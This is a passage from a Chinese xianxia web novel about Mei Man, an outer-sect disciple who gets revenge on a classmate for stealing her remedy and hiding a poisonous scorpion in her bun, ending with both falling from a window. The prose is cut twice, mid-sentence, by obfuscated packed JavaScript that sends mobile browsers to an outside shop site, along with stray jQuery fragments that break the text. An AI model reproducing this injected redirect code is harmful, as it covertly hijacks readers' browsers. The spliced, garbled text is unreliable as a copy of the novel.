“也是撞运。”柴群像是无意间提起,“那天秋应岭秋师兄来外门院,他送的。”
“秋师兄送的?!”顿时有人惊呼,“你和秋师兄是什么关系,你俩认识吗,他怎么就把这样好的宝贝随手送你了?”
“我也不知道。”柴群说得含糊,“大概合眼缘吧,也说不一定是家里认识。”
这样含糊其辞的说法引来更多关注,一帮修士将他团团围住,纷纷追问他和秋家的关系。
他正得意洋洋,梅满忽然冲上前,挤开那帮修士,站在了他面前。
柴群看见她,脸上闪过一瞬的慌张,但很快就冷静下来。
他无视了她,神情自若地和另一个人聊起安眠散。
梅满没问安眠散和龙骨的下落,也没质问他怎么敢拿她辛苦试出来的办法送人情,只问:“是你碰倒了我的东西?”
柴群这时才真正看她一眼,似乎有些惊讶她找他竟然只为了这种小事。
“什么东西?”他顺着她的视线看过去,“哦,我以为什么呢,那破瓶——瓶子啊。是,对不住,我刚才找东西的时候,不小心碰倒了,别怪我,真不是故意的,大不了给你赔一个。”
梅满阴沉着脸,扫一眼他手里的东西,话锋忽转:“这安眠散是你制的?”
柴群一愣:“是啊,怎么了?”
“你一个人制的?”
他神色不改点点头,好像真是这么回事儿,还说:“虽然我俩坐得近,但也没说非要共享成果吧。”
梅满挤出声笑,转眼就沉下脸。
“你最好记着这句话。”她说完转身就走。
柴群没把她的怒火放在心上,没一会儿,负责教他们制药的仙师来了。
来人身披薄氅,腰坠青玉,清隽出尘。
一头银发似覆霜雪,一双眼儿如青柳叶。银发半挽,眼梢略垂,面色苍白,看起来一副不好接近的疏冷模样。
他是教他们制灵药的仙师,沈疏时。
其他课都是由一些内门弟子代课,只有灵药课是仙府里的这位仙君授课,因而梅满花了不少心血在这门课上。
同他给人的感觉一样,沈疏时授课也十分严厉,不苟言笑,要求十分严格。
他一来就直入主题,坐在主座,挨个检查所有人制的安眠散。
一个个弟子走上前,将自制的安眠散交给他,而他只需轻轻一闻,就能判断出这药的好坏。
大家知道他的脾气,都噤若寒蝉,最先上去的几个吓得脸都白了,战战兢兢递出瓷瓶。
而他只拔开塞子——有的甚至连塞子都没拔,就紧拧起眉给出结论——
“重做。”
“你手断了?没有?没有怎的连药材都磨不碎,本君记得让你们做的是‘安眠散’,而不是让你把各种东西混在一起熬粥。”
“将药方抄上十遍,再重做。”
“重做。”
“气味、颜色均不对,对比药方找出疏漏处,再重做。”
“……”
渐渐地,沈疏时的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895162|191971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色愈发难看,所有人都快把脑袋埋去桌上,只有柴群还兴奋仰着脑袋,等待着沈疏时检查他的灵药。
梅满阴恻恻瞥他一眼。
终于到他了,他一个箭步冲上去,双手呈上安眠散。
“仙师,这是我制的药。”他语气里是掩不住的雀跃,还主动拔了木塞子。
沈疏时先开始只粗略扫了眼。
“重做”两个字都到嘴边了,他忽然取过瓷瓶,碾了碾瓶身。
“你加了龙骨粉?”他问。
“是!”柴群应道。
“为何要加?”
许多人抬起脑袋,看向他俩。
柴群深吸一口气,解释:“仙师提供的药方的确能制出安眠散,不过其中有两味药——毒藤草和寒冰蛇的蛇蜕,这两位药一起用时,需要精准把握剂量,但凡有一点差错,就会影响药效。我失败了好几次,之后翻书,才想到可以加一点龙骨粉,既能强化药效,还可以掩盖毒藤草的气味,达到更好的隐蔽效果。”
梅满眼也不眨地盯着他。
这全是她告诉他的话,是她一本书一本书翻找出来的。
而现在,他却装得像是他辛苦找出来的一样!
学堂里瞬间安静下来,柴群历经最开始的兴奋,也变得紧张。
沈疏时说:“你加的这龙骨粉,品质上乘,是不可多得的仙物。”
“也是机缘巧合下得到的,是秋——”
“你翻找了哪些书?”沈疏时打断他。
“这……”柴群哪知道梅满具体看了哪些书,但听沈疏时的语气不错,他也不怎么害怕,便说,“仙师,看的书实在有些多了,所以没——”
“自以为是的小聪明!”沈疏时突然掷出瓷瓶,正砸在柴群脑袋上。他没收劲,直砸得他哀叫一声,额头顿时见了血。
柴群慌了,顾不得喊疼,捂着脑袋愣愣看向沈疏时:“仙师,我,你……我……”
“龙骨粉是至阳之物,蛇蜕性寒,寒火不均,只会带来火毒,甚而致死,你到底是炼药还是制毒?”
柴群懵了:“可、可我试过啊,仙师,这药真的有用,我们用傀儡纸人试过了,足足昏睡了一晚呢。”
底下也有人大着胆子应声。
沈疏时冷笑:“那傀儡纸人呢?在何处?”
柴群猛地噤了声。
“在何处?”沈疏时又问一遍,面若寒霜。
“化成灰了。”柴群低着脑袋,脸通红。
“如何就化成了灰。”
“自己着火了。”柴群声音更小。
他们拿来试炼的那几个傀儡纸人,在清醒后就接二连三地着了火,化成灰烬。那时他们太过兴奋,都以为是傀儡术失效所致,全没想到可能是纸人中了火毒。
“自作聪明,反而净做出些蠢事!”沈疏时冷声说,“将药方抄上百遍,再重做。”
“是……”柴群恨不得将脑袋埋在胸前,悻悻离开。
剩下几个用了龙骨粉的也都不敢再吱声,连忙把瓷瓶往怀里揣。
梅满和柴群坐一起,他下来了,便该她上去。
她上前,递上瓷瓶。
沈疏时拔开塞子。
他很快蹙起眉:“你也加了龙骨粉?”
梅满低下脑袋,眼睛盯向地面的一点,手攥得死死的,心跳堪比擂鼓。
平复片刻,她才挤出声应答:“是。”
所有人都看向了她,尤其是柴群,他瞪着她,既忿忿不平,又幸灾乐祸,大概是在等她落得和他一样的下场。
半晌过去,沈疏时放下药,却说:“不错。”
仅是“不错”两个字,但已经是他今天给出的最好评价。
梅满承认自己是个斤斤计较的小人,听见这话的瞬间,便忍不住沾沾自喜,还要忒虚伪地说上一句:“多谢仙师,其实也不算什么,练的次数有些多罢了。”
沈疏时看她一眼。
她才懒得管他是什么表情,能压过姓柴的烂人一头就行。要不是考虑到还有其他人,她简直要笑出声。
柴群立马气愤道:“仙师,怎么她加了龙骨粉就行,我就不行?仙师,哪怕她是个普通凡人,也不用这么偏袒她吧。”
沈疏时神情更冷,没有应声。
梅满自然不会放过这机会,装出副心平气和的模样,与他说:“可能是你没仔细看书,品质过好的龙骨粉掺进安眠散里的确会带来火毒,用些混了其他兽骨粉的瑕疵品,反而更有用。”
柴群哽住。
看见他那副表情,梅满心里一片畅快。
忘恩负义的烂人,去死吧你!
6.第 6 章
也是看见柴群敢怒不敢言的表情了,梅满才确定,比起受人吹捧,她更喜欢看人吃瘪。
但她不认为他会就这么服输,或是放过她。
灵药课刚结束,他便拦住她的去路,质问梅满:“你故意的?”
梅满恨不得把“小人得志”几个字写在脸上,反问他:“我故意什么?是故意让你偷走龙骨,还是故意让你拿走安眠散?当贼的不反省自己,反而问主人家为什么只往箱子里放假银子,别太好笑了。”
“行,好!好!”柴群笑出声,眉眼却还冷冰冰的——这副表情梅满很熟悉,以前遇见的那些公子少爷一生气,就喜欢摆出这阴晴不定的神情。
梅满心觉不妙,果不其然,下一瞬就听他说:“梅满,我爹昨天刚给我寄信,问我在这里习不习惯,还说如果不方便,就安排两个小侍来照顾我。想来秋师兄也是这样,你说呢?”
梅满攥紧手,脸冰凉凉的,耳朵却在发烫。
“你查我?”她脑中一片空白,只问得出这话。
柴群摊开手:“不过好奇你一个区区凡人,能有什么能耐进这仙府罢了,又刚好认识些梅家的人。梅满,秋家给你多少钱?我可以给更多,这样就也不用让我爹送仆侍过来了。”
这样的羞辱比骂人的话更难听。
梅满气极,恨不得先撕烂他的嘴,再杀了他。
可心底的怨毒越重,她反而越平静,她说:“你会后悔的。”
柴群笑道:“你想让秋师兄给你做主?可这么多天了,他连看你都没来看过一眼——哦,倒是给了你一块骨头,秋家还真有钱,对下人都这么大方。”
梅满神色不变,死死盯着他,又说一遍:“你会后悔的。”
“……好啊。”柴群渐敛笑,“那就看看是我先后悔,还是你先服软。”
他自然不信她能翻出什么浪。
一个不起眼的小跟班,就算死了,也不会有人在意。
刚开始的几天很平静。
因为安眠散的事,柴群又被那些人排斥在外。就算他不是故意的,可这件事也让他的朋友们掉了面子。
他费了不少功夫才重新融入进去。
而当他解决了那边的麻烦,就又有闲心针对梅满了。
这天下午,梅满在练功房修炼体术,中途觉得饿了,就去买了个馒头。
其实她在秋家攒了些钱,但她很抠搜,多数事上能省则省。毕竟她只是个凡人,如果哪天离开秋家,也得有些家私做退路。
她正要啃馒头,忽然跑来个面生的小童子,说是仙师找她。
梅满立马跟着他走了,但没走多远,他忽然停下,道:“我好像找错人了,你回去吧。”
“什么叫找错人?”梅满皱眉。
“认错了,认错了。”小童子说,转眼就跑得没了影。
梅满正想骂他,又觉得不对劲。
等她回去了,才发觉是哪里出了问题——
她的馒头被人掰开了,里面塞着只黑漆漆的大毒蝎。
那只蝎子还没死透,蝎尾偶尔动弹两下。
又是这样拙劣的把戏。
可正是一个又一个拙劣的手段叠加在一起,才让人深恶痛绝。
梅满捏着那个包了“馅儿”的馒头,缓慢抬起脑袋。
前方角落里,柴群正和几个修士说话,笑嘻嘻的。
许是察觉到梅满的视线,他瞥她一眼。明明近乎平视,却带着居高临下的意味。
他大概在等着她松口,等着她向他道歉,好为自己换来几天安生日子。
在他看来,她的主动求饶就能平息这一切。
可对梅满来说不是。
她垂下视线,看向那个馒头。
忽地,她将馒头捏实,一口咬了下去。
那方传来惊呼,但她没看,囫囵咽下馒头。
酸苦、腥涩、恶心的滋味蔓延开,她忍着作呕的冲动,又咬了一口。
柴群急匆匆赶来,一把拽住她。
“梅满,你真不要命了?那可是蝎子,你眼瞎吗,看都不看就吃?”他晃着梅满的胳膊,又想捏她的脸,“快吐出来,吐出来啊。”
其他人紧随而至,似乎不知道发生了什么,团团围住他俩,纷纷在问“什么事”“怎么了”。
直到有人发现地上的半个剩馒头,惊呼:“这哪儿来的毒蝎?!”
话落,几乎所有人都看向柴群。
梅满也望向他,一眨不眨地盯着他,当着他咽下第二口馒头。
柴群怔愕,这时才反应过来他刚才的举动有多蠢,他迎上众人的打量,慌忙说:“不是,不是我,我只是……”
后面的话梅满没听见。
大多数情况下,直接吃毒蝎可能没有被蝎子蜇伤那么严重,但架不住这蝎子含有剧毒,蝎毒发作,她只觉肚子疼得厉害,没一会儿就晕了过去。
昏过去前,她看见柴群被几个人挤去外面,脸上满是带着惊惧的后怕。
等再醒来,梅满已经在药庐里躺着了。
在旁照看的医修师姐大松一气,用柔软的布帕擦拭着她的额头,说:“幸好没事,梅师妹,你这一晕就是三天,真要吓死人了。现在感觉怎么样,肚子还疼吗?”
梅满的视线还有些恍惚,下意识摇摇头。
比起病情,她更关心另一件事:“柴群呢?”
不过三天,她的声音就嘶哑到听不出原声了。
师姐用湿润的棉布沾了下她的嘴唇,眼神里似乎有怜悯。
她说:“他在外面,戒律堂的长老也来了,我去叫他们。”
梅满原以为是仙师负责这件事,没想到戒律堂的长老会亲自来。
长老看起来是个严肃的中年人,柴群跟在他身边,始终低着脑袋。
“梅小友,”长老坐在梅满床边,关切道,“身体怎么样,可还有哪里不舒服?”
“多谢长老,已经好多了。”梅满蔫蔫地靠在床头,说话有气无力,“仙师呢,他没来吗?”
“疏时这两天身体不适,正在闭关。他暂且不知晓此事,就由我来代为处理。”长老扫一眼柴群,“这件事我已经查清楚了,这混账东西实在不像话,对同门竟毫无关怀之心,就算是无意,也不该轻饶!”
梅满本来还在期待他会怎么收拾柴群,可听见“无意”两个字,心忽然往下一沉。
她勉强撑起几分力气说:“多谢长老,但等仙师闭关结束了再查也不迟。那蝎毒实在太厉害,我还有些头晕,许多话一时半会儿都说不清楚,还请长老——”
“不必说了。”长老打断道,“梅小友,你受了苦,我岂能视而不见。柴群要罚,还要重罚。”
梅满清楚感觉到身上的温度一点点下降,脑中渐有嗡鸣声。
在这持续不断的轻微嗡鸣中,她听见长老说:“我已经安排好了,罚他在戒律堂关一月禁闭。你这回疗伤的药钱,也让他来承担。”
“一个月?”柴群忽然抬头,他看着有些萎靡不振,一双眼睛红通通的,像是哭过,“这也太久了吧,那我符箓课的考核怎么办?我都说了是她自己吃的啊,现在大家都不理我,还要这样罚我,我回去怎么见人?”
长老睨他一眼。
许久,柴群才不情不愿道:“我是该罚,梅满,你原谅我吧,我知道错了。”
知道错了?
梅满看着他俩一唱一和,险些笑出声,脑中的嗡鸣声更大,被她吞下去的那半只蝎子好像又活过来了,在她的肚子里面翻搅着,狠蛰着她,令她分外作呕。
长老又不疾不徐道:“唉,这小子,我也算看着他长大,不是个坏心思的人。想来是有什么误会,一时糊涂,才闹出这种麻烦。”
哦。
原来是这原因。
梅满突然平静下来。
她早该想到的。
早该想到,就早该清楚,要解决他这样的杂种,等待别人来审判他的错是没用的。
长老问她:“梅小友,你以为如何?”
“是。”
关禁闭……
“长老的处罚很公平。”
就这样糊弄她?
“本来就不是什么大事,既然他已经道了歉,受了罚。”
关上一个月,施舍点药钱就叫惩罚了?
“我也原谅他了。”
就能抹平她的痛苦了?
“——柴群。”
贱人!
“我们和好吧。”
我要杀了你。
梅满撑着床铺下床,虚弱踉跄站直身,向他伸过手。
柴群没有握她的手,他咬紧牙,压低声音说:“这下你满意了?”
比起他,她反而要平静许多:“也是我太冲动,有什么矛盾说开就好了,哪里会闹到这地步。”
长老满意点点头。
他不愿在这地方多待,没一会儿就说要走。
但在他俩离开时,梅满忽然扯了下柴群的衣角。
他回身睨她一眼。
长老已经先一步离开,梅满轻声问他:“长老这样护着你,不还是要关你禁闭吗?我听说进了惩戒室就要受鞭刑,还要吃馊饭喝泔水,等你再出来,会不会臭烘烘的,谁都不愿和你说话了?”
“你胡说八道!”柴群气极。
梅满一副无所谓的模样,躺回了床上,说:“谁知道呢,反正我又看不见。”
柴群冷冷睨着她:“你等着。”
他放下这话,就沉着脸走了。
这之后梅满才听说,外门院弟子都认定他故意下毒害人,那些人虽说爱凑在一块儿玩,大多还有些自视甚高,可到底都年岁小,天不怕地不怕,有几分嫉恶如仇的脾性,便开始疏远他,甚至有意苛待他。
又过两天,她刚恢复点儿,就收到了柴群的口信。
帮忙传话的是戒律堂的一位师兄,他说:“柴群想见你,他觉得上次道歉的心不诚恳,想再当面和你说一次。”
梅满问:“可师兄,他正在受罚,私下见他是不是不太妥当?”
“说两句话而已,能有什么。”
梅满犹豫着点点头,当天夜里便随师兄一起,进了戒律堂三楼的惩戒室。
她进门时,柴群正在吃点心。
他大喇喇坐在椅子上,面前是一桌好饭好菜,连蜡烛都没点,而是用的亮到刺眼的夜明珠。
“坐啊,”他浑不在意道,“随你坐哪儿,饿了吗,要是饿了还能顺便吃点儿。等出去了,外面可没这样的好菜吃。”
身后的门关上,梅满一动不动:“你这是什么意思。”
“没什么意思。”柴群取出两个空杯子,放在桌上,“你不是说我进来就要吃苦吗,也让你长个见识。如果要过苦日子,家里怎么可能送我来这儿——你应该不懂,也是,替秋家做了这么多差事,却没个人来看你一眼。我先前说的话还作数,你给我当差,怎么样?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900438|191971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“你不怕被人听见这些话?”梅满说,“师兄可还在外面。”
柴群笑笑:“你果然是个不懂灵力的凡人,这惩戒室里的动静,怎么可能让外面听见。”
梅满坐在他面前,在他抬手前,抢先一步端起茶壶。
“所以那天你道歉,不是真心的吗?”她斟了两杯茶水。
“道歉?”柴群冷笑,“你把我害成那样,还想我道歉?我告诉你,我爹说了,已经往秋家寄了信,拿钱买你的契。等我从这儿出去,有的是法子整死你!”
话落,他端起茶水便猛灌一口,随即又呸了声:“这什么破茶,苦得要死。”
“你马上就知道了。”梅满死死攥着那杯茶水,忽然感觉心跳得格外快。
一下又一下,快要撞出她的胸腔。
柴群蹙了下眉,仿佛在疑惑。
下一瞬,他忽然佝偻下了身,紧紧捂住肚子,痛苦哀叫出声。
“嘶……好疼,肚子!我的肚子……”他趴在桌子上,转眼就疼得头冒冷汗。
梅满倏地站起身,心跳得更快,血液仿佛都在往头顶涌,眼睛却紧紧盯着他。
柴群吃力抬起一点眼帘,死死瞪着她:“你、你在茶里动手脚?”
“是物归原主。”梅满从袖子里取出一截干瘪的蝎子腿,塞进他手里,与他耳语道,“我顶多肚子疼,但你恐怕不好受。我看书上说,你捉来的这种毒蝎,蝎毒可会腐蚀灵根。”
他登时变了脸色,抬手要来抓她。
可他哪里还有力气,那蝎毒发作得快,他一下就瘫软在地,捂着肚子不住喊疼。
梅满退至一边,静静看着他痛苦挣扎。
最初的那点兴奋过去,她又开始后怕。他和戒律堂长老相识,她不敢想要是这件事暴露了,她会是什么下场。
她的心跳更快,慌惧袭上,让她的四肢都开始僵麻。
而这时,柴群许是痛苦极了,不知从哪里猛生出一股力气。
他扶着桌站起身,打碎那个茶壶便向她冲来,怒喝道:“你这个杂种,杂种!!我杀了你!我要杀了你!”
梅满截住他的胳膊,与他扭打在一块儿。
他下手狠,她也毫不收劲儿,不过几个回合,两人就都失去了理智。
梅满猛地打他一拳,骂道:“死贱种,用不了灵力了是吗,也变成凡人了是吗?怎么不在我面前显摆了,你再用啊,用灵力啊!”
柴群果真试了,颤抖的手掐了好几回,却只挤出一点溃散的灵力。
梅满笑了声,瞬间激起他的怒火。
他失控大叫一声,举起茶壶碎片就要捅她。
梅满挡了他几次,直到那碎片割得他的手血淋淋的。
他丢开碎片,像只掉入陷阱里苦苦挣扎的凶兽一样粗喘着气,到此时他终于明白了,眼神狠厉地盯着她,说:“你是故意的,故意说那些话?你早打算害我了,你这个贱人,狗奴才,我非杀了你不可!”
“我不是,不是!”梅满也大喘着气,被他划伤的额头流下了血,血水糊得眼皮子前都蒙了层红光,“好啊,好!现下公平了,都是肉长的,都是一张皮裹着,都是肉骨凡胎,那就试试,试试谁先杀了谁!”
两人扭打在一块儿,柴群恨不得要她死,打了十几个回合后,他猛然发力掐住她的脖子,勒死她的呼吸。
她奋力挣扎,却怎么都挣不开。
肺腑间的气息逐渐被挤干净,她的眼睛泪蒙蒙的,却顾不得擦拭,突然用两条胳膊使劲箍住他,径直往窗边摔去。
“你想整死我?你还想整死我?!”梅满嘶叫着,她看见他眼睛里迸出惊恐慌惧,可她将他抱得死死的,几乎是从肺腑里挤出声音,“我会活下来的,谁也别想支使我!谁也别想!!”
她猛地往旁倒去,同他一起摔出了窗户。
坠下的瞬间,柴群终于松开手,发出声短促的尖叫。
梅满大口呼吸着,春夜的冷息一下涌进她的喉咙,刺激出腥甜的血味。
借着模糊的余光,她瞥见了深蓝到近黑的天,缀在天边亮闪闪的星子。
它们依旧那样高,冷冰冰高悬着。
也瞥见了地上的树、石头和房屋。
它们比往常更要矮一些,静静伏在她身下。
原来腾空是这样的感受。
她想,她始终这么想,要是她能活下来,终有一天她要爬得比眼下这一瞬还要高,她要在那些星星之上,在天之上去俯视一切东西。
“砰——!”
他俩同时砸落在坚硬的石地上。
尖叫与呼吸全都戛然而止,春夜重归冷清,连虫鸣都显得稀疏、寥落。
两团身影静伏在地面,一动不动。
四周寂静无声,这无边的黑夜被拉长,虫鸣也仿佛消失不见。
许久,其中一道身影动了下。
梅满侧过身蜷缩起来,像是重回母体的胎儿。她挤出声嘶哑的凄叫,随后剧烈咳嗽,仿佛要将剧痛的五脏六腑都咳出去。
咳出几大口血后,她浑身都开始不受控地颤栗,眼前飘过团团黑影,脑子也陷入一片空白。
可她不觉得难受。
梅满挣扎着,边咳,边缓慢翻过疼痛难耐的身躯,平躺在地上,渐渐笑出声。
她疼到连手指头都快动不了了,但还是强撑着摸了把覆在眼皮上的血。
缀着疏星的夜空变得清晰许多,她目不转睛地盯着,笑声也更大。